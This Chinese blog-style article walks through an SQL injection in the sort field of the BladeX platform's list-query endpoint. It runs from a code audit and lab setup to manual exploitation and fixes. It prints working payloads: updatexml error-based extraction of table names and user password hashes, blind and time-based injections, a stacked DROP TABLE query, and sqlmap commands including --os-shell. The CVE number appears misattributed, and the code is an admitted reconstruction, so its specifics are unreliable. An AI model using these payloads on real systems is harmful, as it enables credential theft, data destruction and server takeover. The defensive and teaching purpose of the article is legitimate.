当前位置：首页 > news >正文

BladeX SQL注入漏洞CVE-2024-50623：从代码审计到手工复现的完整剖析

news 2026/7/1 10:45:38

1. 项目概述与背景

最近在梳理一些企业级开源项目的安全状况，BladeX这个项目进入了我的视野。这是一个基于Spring Cloud的微服务架构开发平台，在不少中小型企业的内部系统开发中都有应用。在一次常规的代码审计过程中，我发现其某个通用列表查询接口存在一个典型的SQL注入漏洞，漏洞编号为CVE-2024-50623。这个漏洞的成因和利用方式都非常“经典”，但恰恰因为其经典，才更值得拿出来深入剖析。很多开发者在日常编码中，可能就在不经意间埋下了类似的隐患。今天，我就带大家从白盒审计到黑盒复现，完整地走一遍这个漏洞的发现、分析和利用过程。无论你是安全研究员想了解漏洞细节，还是后端开发工程师想规避同类风险，这篇文章都能给你带来直接的参考价值。我们将从漏洞的触发点开始，一步步拆解其背后的不安全编码实践，并最终在模拟环境中完成漏洞的复现与验证。

2. 漏洞原理深度解析

2.1 不安全代码定位与成因分析

漏洞的核心位于BladeX平台的一个通用列表查询接口中。通常，这类平台为了快速开发，会抽象出一些通用的数据查询方法，比如根据前端传递的字段名、排序方式、过滤条件来动态拼接SQL。问题就出在这个“动态拼接”上。

通过审计源代码，我定位到了存在问题的UsualController类中的list方法。为了快速理解，我们可以将其简化后的逻辑还原出来。其关键代码片段类似于以下结构（已做脱敏和简化）：

@PostMapping("/usual/list") public R list(@RequestBody Map<String, Object> params) { String orderField = (String) params.get(“orderField”); String order = (String) params.get(“order”); // ... 其他参数接收 String sql = “SELECT * FROM some_table WHERE 1=1”; // 动态拼接排序字段，这里存在致命问题 if (StringUtils.isNotBlank(orderField)) { sql += “ ORDER BY “ + orderField; if (“desc”.equalsIgnoreCase(order)) { sql += “ DESC”; } else { sql += “ ASC”; } } // 执行SQL查询 List<Map<String, Object>> list = jdbcTemplate.queryForList(sql); return R.data(list); }

漏洞成因一目了然：orderField这个参数由用户完全控制，并且未经任何过滤或转义，就直接拼接到了SQL语句中。这是一种最原始、最危险的SQL注入漏洞模式。攻击者可以通过控制orderField参数，注入任意的SQL代码。

注意：这里演示的是最简化的漏洞代码。在实际的BladeX漏洞中，可能涉及更复杂的Wrapper条件构造，但根源相同：将用户输入直接当作SQL语句的一部分进行拼接。许多ORM框架（如MyBatis的${}用法）或手写SQL时，如果开发者安全意识不足，极易犯此错误。

2.2 漏洞利用的多种可能性

这个漏洞的利用方式非常灵活，因为ORDER BY子句后的注入点有其特殊性。它不像WHERE子句后可以直接用UNION SELECT进行数据联合查询。在ORDER BY后面，我们通常只能进行布尔盲注或时间盲注。但在这个具体案例中，由于后端是直接执行拼接后的完整SQL，如果数据库权限配置不当，攻击者可以做的事情远不止排序。

1. 基于错误信息的探测：攻击者可以先尝试注入一个不存在的列名，如orderField=id（正常），orderField=nonexistent_column。如果后端直接将数据库错误信息（如Unknown column ‘nonexistent_column’ in ‘order clause’）返回给前端，那么这就是一个报错注入点。攻击者可以利用数据库函数（如MySQL的extractvalue()或updatexml()）故意触发错误，并将查询结果带到错误信息中。

2. 布尔盲注：如果应用屏蔽了具体错误，只返回一个通用错误页面，攻击者可以采用布尔盲注。例如，注入orderField=(CASE WHEN (SELECT SUBSTRING(database(),1,1))=‘a’ THEN id ELSE update_time END)。这条语句的意思是：如果数据库名的第一个字母是‘a’，就按id字段排序，否则按update_time字段排序。通过观察返回数据的排序结果差异，攻击者就能逐位猜解出数据库名、表名、字段名乃至具体数据。

3. 时间盲注：如果连排序结果的差异都无法从前端感知，那么时间盲注是最后的武器。注入类似orderField=id,(SELECT 1 FROM (SELECT SLEEP(5))a)的语句。如果数据库执行了SLEEP(5)，那么请求响应时间会显著延长，从而证明注入存在并可利用。

4. 更危险的利用：堆叠查询在某些数据库配置和JDBC驱动下，如果SQL语句允许执行多条（堆叠查询），那么危害将呈指数级上升。攻击者可以注入诸如orderField=id; DROP TABLE users; --的语句。--是注释符，用于注释掉原SQL中剩下的DESC或ASC，使得DROP TABLE语句能够独立执行。这意味着攻击者可以直接对数据库进行增删改查等任意操作。

3. 漏洞复现环境搭建

纸上得来终觉浅，绝知此事要躬行。要真正理解一个漏洞，亲手复现一遍是最好的方式。

3.1 环境准备与靶场搭建

我选择在本地使用Docker快速搭建一个漏洞复现环境，这样既干净又便于销毁。

拉取漏洞版本代码：首先，需要找到存在漏洞的BladeX版本。根据CVE信息，受影响的版本范围是某个特定区间。我们可以从GitHub的Release页面或代码仓库的历史提交中，下载对应版本的源代码。这里假设我们定位到的漏洞版本是bladex-boot-2.8.2.RELEASE。
```
git clone https://github.com/somebladex/bladex-boot.git cd bladex-boot git checkout tags/v2.8.2.RELEASE
```
修改数据库配置：为了方便演示，我将数据库配置改为使用Docker启动的MySQL容器，并确保数据库中存在一些测试数据。
- 启动MySQL容器：docker run --name mysql-bladex -e MYSQL_ROOT_PASSWORD=root123 -e MYSQL_DATABASE=blade -p 3306:3306 -d mysql:5.7
- 修改项目中的application.yml或application-dev.yml文件，将数据库连接指向本地的Docker容器。
启动应用：使用IDE（如IntelliJ IDEA）直接运行主启动类，或者使用Maven命令mvn spring-boot:run启动BladeX应用。确保应用在默认端口（如localhost:8888）成功启动，并能正常访问登录页。

3.2 构造漏洞请求

漏洞接口通常是需要认证的，所以我们首先需要以一个普通用户的身份登录系统，获取有效的会话Cookie（如JSESSIONID）。

登录成功后，我们使用Burp Suite这类工具来拦截和重放请求。找到触发列表查询的请求，通常是前端表格组件加载数据时发送的POST请求，URL路径类似于/api/blade-system/usual/list。

原始的请求参数可能是一个JSON，类似：

{ “current”: 1, “size”: 10, “orderField”: “create_time”, “order”: “desc” }

我们的攻击将从修改orderField这个字段开始。

4. 手工注入漏洞复现过程

我更喜欢手工注入来理解每一步的原理，这比单纯使用工具更有价值。

4.1 第一步：验证注入点

首先，我们尝试最基本的注入，验证参数是否被原样拼接。将orderField的值修改为：create_time（正常），然后改为create_time（注意后面有个空格）。观察返回结果，如果两者结果一致，说明空格被带入SQL，这是一个初步迹象。

接着，尝试注入一个数据库函数，观察其是否被执行。例如，在MySQL中，我们可以用rand()函数来测试。将orderField改为：

(select 1)

或者更明显的：

id,(select 1)

发送请求。如果请求成功（返回200状态码），并且数据列表没有报错，甚至排序可能发生了随机变化（如果用了rand()），那么基本可以确定存在SQL注入。如果报错，观察错误信息，可能直接暴露数据库类型（如MySQL），这同样是注入存在的证据。

4.2 第二步：信息收集（数据库类型、版本）

确认注入点后，我们需要获取数据库信息，以便使用对应的语法。

数据库类型：通常从错误信息中可直接得知。若无，可通过函数差异判断。注入orderField=version()，如果正常执行，则是MySQL或MariaDB（因为version()是MySQL的函数）。注入orderField=sqlite_version()则可判断SQLite。
数据库版本：对于MySQL，可以注入：orderField=(select @@version)。但ORDER BY后面接子查询需要用括号包裹，且子查询必须返回单行单列。我们可以构造一个CASE WHEN语句，将信息通过布尔条件带出。例如：
```
orderField=(CASE WHEN (SELECT SUBSTRING(@@version,1,1))=‘5’ THEN id ELSE update_time END)
```
通过不断改变SUBSTRING的索引和猜测的字符，我们可以逐位爆出版本号。这是一个漫长的布尔盲注过程。

实操心得：在实际测试中，如果时间有限，我会优先尝试报错注入，效率最高。例如，在MySQL中尝试：orderField=updatexml(1,concat(0x7e,(select @@version),0x7e),1)。如果后端直接返回了包含版本号的XML解析错误，那么一步到位。这取决于应用程序的错误处理机制。

4.3 第三步：利用漏洞获取数据

假设我们通过报错注入成功获得了数据库版本为5.7.x，并且当前用户权限较高。我们的目标可能是获取管理员密码哈希或其他敏感数据。

获取当前数据库名：orderField=updatexml(1,concat(0x7e,(database()),0x7e),1)
获取表名：首先需要知道系统有哪些表。注入语句如下：
```
orderField=updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)
```
通过修改limit语句的偏移量（0,1->1,1->2,1），可以逐个爆出表名。通常会关注user、admin、sys_user等命名的表。

获取字段名：假设我们找到了blade_user表。接下来爆它的字段：

orderField=updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘blade_user’ limit 0,1),0x7e),1)

寻找password、email、phone等敏感字段。

提取数据：最后，提取具体数据，例如用户名和密码哈希：
```
orderField=updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from blade_user limit 0,1),0x7e),1)
```
0x3a是冒号:的十六进制，用于分隔用户名和密码。

重要注意事项：updatexml函数有长度限制（约32KB），并且一次只能提取一行数据的一部分。如果数据过长，需要使用substring函数进行截取，多次请求拼接。例如：substring((select password from blade_user limit 0,1),1,30)。这个过程非常繁琐，但原理是清晰的。

4.4 使用Sqlmap进行自动化验证

手工注入用于理解原理，在实际渗透测试中，我们通常会使用sqlmap这样的神器进行自动化验证和利用，效率极高。

捕获请求：将Burp Suite中拦截到的含有orderField参数的完整HTTP请求（包括Cookie、Headers）保存到一个文本文件中，比如request.txt。
运行Sqlmap：
```
sqlmap -r request.txt -p orderField --batch --risk=3 --level=5
```
- -r request.txt: 从文件加载HTTP请求。
- -p orderField: 指定测试的参数。
- --batch: 以非交互模式运行，所有问题都选默认。
- --risk=3 --level=5: 提高测试的强度和深度，risk=3会尝试更危险的OR布尔注入和堆叠查询，level=5会增加更多的测试载荷和HTTP头注入测试。
获取Shell（高危操作，仅用于授权测试）：如果数据库用户权限足够（如DBA权限），并且目标系统支持用户自定义函数（UDF）或文件写入，sqlmap甚至可以尝试获取一个操作系统级的shell。
```
sqlmap -r request.txt -p orderField --os-shell
```
这个命令会尝试上传一个用于执行系统命令的代理，从而在服务器上执行任意命令。这仅在完全可控的测试环境中进行，绝对禁止在未授权的情况下使用。

踩坑记录：在实际使用sqlmap测试ORDER BY注入点时，有时它会误判注入类型。可能需要手动指定注入技术，例如--technique=B（布尔盲注）或--technique=T（时间盲注）。另外，如果应用有复杂的Token或签名机制，直接重放请求可能会失败，需要配合--tamper脚本对参数进行一些编码或变换。

5. 漏洞修复方案与安全编码实践

复现漏洞是为了更好地修复和预防。针对这类SQL注入，修复方案是明确且直接的。

5.1 立即修复方案：参数化查询或白名单过滤

参数化查询（首选）：这是根治SQL注入的唯一最佳实践。将SQL语句的结构与数据分离。对于ORDER BY这种动态结构，在JdbcTemplate中可以使用SimpleJdbcCall或更底层的PreparedStatement配合条件判断，但结构上会稍显复杂。更常见的做法是结合白名单。

白名单过滤：对于orderField这种需要动态指定列名的场景，最安全的做法是建立一个允许排序的字段名白名单。

private static final Set<String> ALLOWED_ORDER_FIELDS = new HashSet<>(Arrays.asList(“id”, “create_time”, “update_time”, “name”)); public R list(@RequestBody Map<String, Object> params) { String orderField = (String) params.get(“orderField”); String order = (String) params.get(“order”); String sql = “SELECT * FROM some_table WHERE 1=1”; // 白名单校验 if (StringUtils.isNotBlank(orderField) && ALLOWED_ORDER_FIELDS.contains(orderField)) { sql += “ ORDER BY “ + orderField; if (“desc”.equalsIgnoreCase(order)) { sql += “ DESC”; } else { sql += “ ASC”; } } else { // 提供默认排序，或者忽略排序参数 sql += “ ORDER BY id DESC”; } // 使用JdbcTemplate执行，此时sql中的orderField是安全的 List<Map<String, Object>> list = jdbcTemplate.queryForList(sql); return R.data(list); }

关键点：白名单的维护需要与数据库表结构同步，这是一个额外的维护成本，但安全性是绝对的。

5.2 框架层最佳实践

对于使用MyBatis-Plus等ORM框架的项目：

绝对禁止在${}中放入用户输入。ORDER BY ${orderField}这种写法是万恶之源。
使用Wrapper的orderBy方法时，确保参数是实体类的属性名（通过Lambda表达式获取），而不是字符串拼接。例如：wrapper.orderByAsc(User::getCreateTime)。
如果必须动态排序，可以借鉴MyBatis-Plus的SqlInjection检查工具类，或者自己实现一个基于实体类元信息的校验方法，确保传入的字符串是合法的实体属性名。

5.3 纵深防御措施

最小权限原则：连接数据库的应用程序账号，只授予其必需的最小权限（如SELECT,INSERT,UPDATE），坚决不要使用root或具有DROP,FILE,PROCESS等高级权限的账号。
错误信息处理：在生产环境中，务必配置全局异常处理，将详细的数据库错误信息转换为对用户友好的通用错误提示，避免泄露数据库结构等敏感信息。
Web应用防火墙（WAF）：部署WAF可以在网络层面拦截常见的SQL注入攻击特征，作为一道额外的防线。但绝不能依赖WAF而忽略代码自身的安全。
定期安全审计与代码扫描：将静态代码安全扫描（SAST）工具集成到CI/CD流程中，自动检测项目中是否存在${}的不安全使用、字符串拼接SQL等漏洞模式。

6. 从漏洞复现中提炼的安全思考

CVE-2024-50623这个漏洞本身并不复杂，但它像一面镜子，映照出企业级开发中一些容易被忽视的角落。

第一，通用性与安全性的权衡。BladeX设计“通用列表查询”的初衷是为了提高开发效率，减少重复代码。这种抽象本身是优秀的架构思维。但问题在于，在追求通用和灵活的同时，没有在安全边界上做好严格的约束。任何来自用户端的、用于改变程序结构（如SQL语法结构）的输入，都必须被视为不可信的，并施加最强的验证。“灵活性”永远不应该以牺牲“安全性”为代价。在设计和评审通用组件时，安全必须拥有最高优先级的一票否决权。

第二，ORM框架不是银弹。很多开发者认为使用了MyBatis-Plus、JPA等ORM框架，SQL注入就与自己无关了。这是一个危险的误解。ORM框架只是工具，它提供了安全的用法（如#{}参数化），也提供了不安全的用法（如${}拼接）。漏洞的根源在于开发者对工具的错误使用，而非工具本身。团队内部需要建立明确的安全编码规范，并通过培训、代码审查、自动化扫描等手段确保规范落地。

第三，漏洞复现的价值超越漏洞本身。完成一次漏洞复现，收获的不仅仅是对一个CVE编号的理解。它训练的是完整的安全思维链条：从如何在海量代码中定位可疑点（代码审计），到如何构造Payload验证猜想（渗透测试），再到如何分析利用链的深度和广度（影响评估），最后如何提出治标又治本的修复方案（安全开发）。这个过程，对于开发人员提升自身代码的安全水位，对于安全人员理解开发的实际困境，都有着不可替代的作用。

在我个人的安全测试经历中，像这样因动态排序、动态字段查询导致的注入漏洞屡见不鲜。修复它们往往只需要几行代码，但发现它们却需要建立稳固的安全意识和系统性的检查方法。建议开发团队可以将历史上出现过的这类内部漏洞编成案例，在新员工培训和技术分享中反复讲解，让安全的警钟长鸣。

查看全文

http://www.cnnetsun.cn/news/3083101.html